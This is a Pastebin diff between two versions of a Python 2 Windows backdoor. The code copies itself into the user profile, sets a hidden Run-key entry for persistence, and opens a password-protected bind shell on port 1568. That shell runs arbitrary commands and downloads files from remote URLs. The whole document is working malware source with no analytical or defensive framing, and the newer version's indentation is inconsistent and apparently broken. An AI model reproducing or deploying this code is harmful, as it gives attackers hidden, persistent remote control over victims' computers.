View difference between Paste ID: nQisFUxr and pBQZCX8t
SHOW: | | - or go back to the newest paste.
1
import socket, os, thread, subprocess, sys, urllib2
2
3
subprocess.call('copy ' + os.path.split(sys.argv[0])[1] + ' %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
4
subprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v BindShell /d %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
5
subprocess.call('attrib +s +r +h %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
6
c = 1
7-
def connection(conn):
7+
s = 10 
8-
	conn.setblocking(1)
8+
while c < s:
9-
	conn.send("USER: ")
9+
    def connection(conn):
10-
	user = conn.recv(1024)
10+
	    conn.setblocking(1)
11-
	conn.send("PASS: ")
11+
	    conn.send("USER: ")
12-
	passwd = conn.recv(1024)
12+
	    user = conn.recv(1024)
13
	    conn.send("PASS: ")
14-
	if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
14+
	    passwd = conn.recv(1024)
15-
		conn.send('Connection Established!')
15+
16-
		while True:
16+
	   if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
17-
			conn.send('\n$')
17+
		    conn.send('Connection Established!')
18-
			data = conn.recv(1024)
18+
		    while True:
19
			    conn.send('\n$')
20-
			if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
20+
			    data = conn.recv(1024)
21-
				conn.close()
21+
22-
				break
22+
			    if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
23
			   	    conn.close()
24-
			elif data.strip('\r\n').startswith('cd'):
24+
				    break
25-
				try:
25+
26-
					os.chdir(data.strip('\r\n')[3:])
26+
			    elif data.strip('\r\n').startswith('cd'):
27-
				except:
27+
				    try:
28-
					conn.send('The system path cannot be found!')
28+
					    os.chdir(data.strip('\r\n')[3:])
29
				    except:
30-
			elif data.strip('\r\n').startswith('wget'):
30+
					    conn.send('The system path cannot be found!')
31-
				try:
31+
32-
					f = open(os.path.basename(data[5:]), "wb")
32+
			    elif data.strip('\r\n').startswith('wget'):
33-
					f.write(urllib2.urlopen(data[5:]))
33+
				    try:
34-
					f.close()
34+
					    f = open(os.path.basename(data[5:]), "wb")
35-
					conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
35+
					    f.write(urllib2.urlopen(data[5:]))
36-
				except:
36+
					    f.close()
37-
					conn.send("Download failed!")					
37+
					    conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
38
				    except:
39-
			else:
39+
					    conn.send("Download failed!")					
40-
				proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
40+
41-
				stdoutput = proc.stdout.read() + proc.stderr.read()
41+
			    else:
42-
				conn.send(stdoutput)
42+
				    proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr =       subprocess.PIPE, stdin = subprocess.PIPE)
43
				    stdoutput = proc.stdout.read() + proc.stderr.read()
44-
	else:
44+
				    conn.send(stdoutput)
45-
		conn.send("Incorrect user/pass combination!\n")
45+
46-
		conn.close()
46+
	    else:
47
		    conn.send("Incorrect user/pass combination!\n")
48
		    conn.close()
49-
while True:
49+
50-
	try:
50+
51
    while True:
52-
		s = socket.socket()
52+
	    try:
53-
		s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
53+
54
		    s = socket.socket()
55-
		s.bind(('', 1568))
55+
		    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
56-
		s.listen(5)
56+
57
		    s.bind(('', 1568))
58-
		while True:
58+
		    s.listen(5)
59-
			s.settimeout(2)
59+
60-
			try:
60+
		    while True:
61-
				conn, addr = s.accept()
61+
			    s.settimeout(2)
62
			    try:
63-
			except socket.timeout: 
63+
				    conn, addr = s.accept()
64-
				continue
64+
65
			    except socket.timeout: 
66
				    continue
67-
			if(conn):
67+
68-
				s.settimeout(None)
68+
69-
				thread.start_new_thread(connection, (conn,))
69+
			    if(conn):
70
				    s.settimeout(None)
71
				    thread.start_new_thread(connection, (conn,))
72-
	except: pass
72+
73
74
	   except: pass